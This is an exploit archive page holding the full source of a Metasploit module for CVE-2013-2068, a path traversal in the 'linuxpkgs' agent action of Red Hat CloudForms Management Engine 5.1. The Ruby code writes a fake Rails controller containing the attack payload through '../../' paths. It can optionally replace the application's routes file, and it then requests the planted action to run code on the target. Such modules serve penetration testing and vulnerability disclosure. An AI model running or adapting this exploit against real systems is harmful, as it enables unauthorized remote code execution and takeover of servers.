exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal
Posted Dec 23, 2013
Authored by Ramon de C Valle | Site metasploit.com

This Metasploit module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). It uploads a fake controller to the controllers directory of the Rails application with the encoded payload as an action and sends a request to this action to execute the payload. Optionally, it can also upload a routing file containing a route to the action. (Which is not necessary, since the application already contains a general default route.)

tags | exploit
systems | linux, redhat
advisories | CVE-2013-2068
SHA-256 | ecc3dfeae56af0d7e8234b449d220c4c30764ffe2c2b2a098d22efcf89701574

Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize
super(
'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal',
'Description' => %q{
This module exploits a path traversal vulnerability in the "linuxpkgs"
action of "agent" controller of the Red Hat CloudForms Management Engine 5.1
(ManageIQ Enterprise Virtualization Manager 5.0 and earlier).
It uploads a fake controller to the controllers directory of the Rails
application with the encoded payload as an action and sends a request to
this action to execute the payload. Optionally, it can also upload a routing
file containing a route to the action. (Which is not necessary, since the
application already contains a general default route.)
},
'Author' => 'Ramon de C Valle',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-2068'],
['CWE', '22'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422']
],
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => true,
'Targets' =>
[
['Automatic', {}]
],
'DisclosureDate' => 'Sep 4 2013',
'DefaultOptions' =>
{
'PrependFork' => true,
'SSL' => true
},
'DefaultTarget' => 0
)

register_options(
[
Opt::RPORT(443),
OptString.new('CONTROLLER', [false, 'The name of the controller']),
OptString.new('ACTION', [false, 'The name of the action']),
OptString.new('TARGETURI', [ true, 'The path to the application', '/']),
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ])
], self.class
)

register_advanced_options(
[
OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]),
], self.class)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "ping.html")
)

if res and res.code == 200 and res.body.to_s =~ /EVM ping response/
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
controller =
if datastore['CONTROLLER'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['CONTROLLER'].downcase
end

action =
if datastore['ACTION'].blank?
Rex::Text.rand_text_alpha_lower(rand(9) + 3)
else
datastore['ACTION'].downcase
end

data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n"

print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../app/controllers/#{controller}_controller.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
register_files_for_cleanup("app/controllers/#{controller}_controller.rb")
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end

if datastore['ROUTES']
data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n"

print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...")
res = upload_file("../../config/routes.rb", data)
fail_with(Failure::Unknown, 'No response from remote host') if res.nil?
# According to rcvalle, all the version have not been checked
# so we're not sure if res.code will be always 500, in order
# to not lose sessions, just print warning and proceeding
unless res and res.code == 500
print_warning("Unexpected reply but proceeding anyway...")
end
end

print_status("Sending execute request to #{target_url(controller, action)}...")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, controller, action)
)
end

def upload_file(filename, data)
res = send_request_cgi(
'method' => datastore['HTTP_METHOD'],
'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'),
"vars_#{datastore['HTTP_METHOD'].downcase}" => {
'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)),
'filename' => filename,
'md5' => Rex::Text.md5(data)
}
)

return res
end

def target_url(*args)
(ssl ? 'https' : 'http') +
if rport.to_i == 80 || rport.to_i == 443
"://#{vhost}"
else
"://#{vhost}:#{rport}"
end + normalize_uri(target_uri.path, *args)
end
end

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close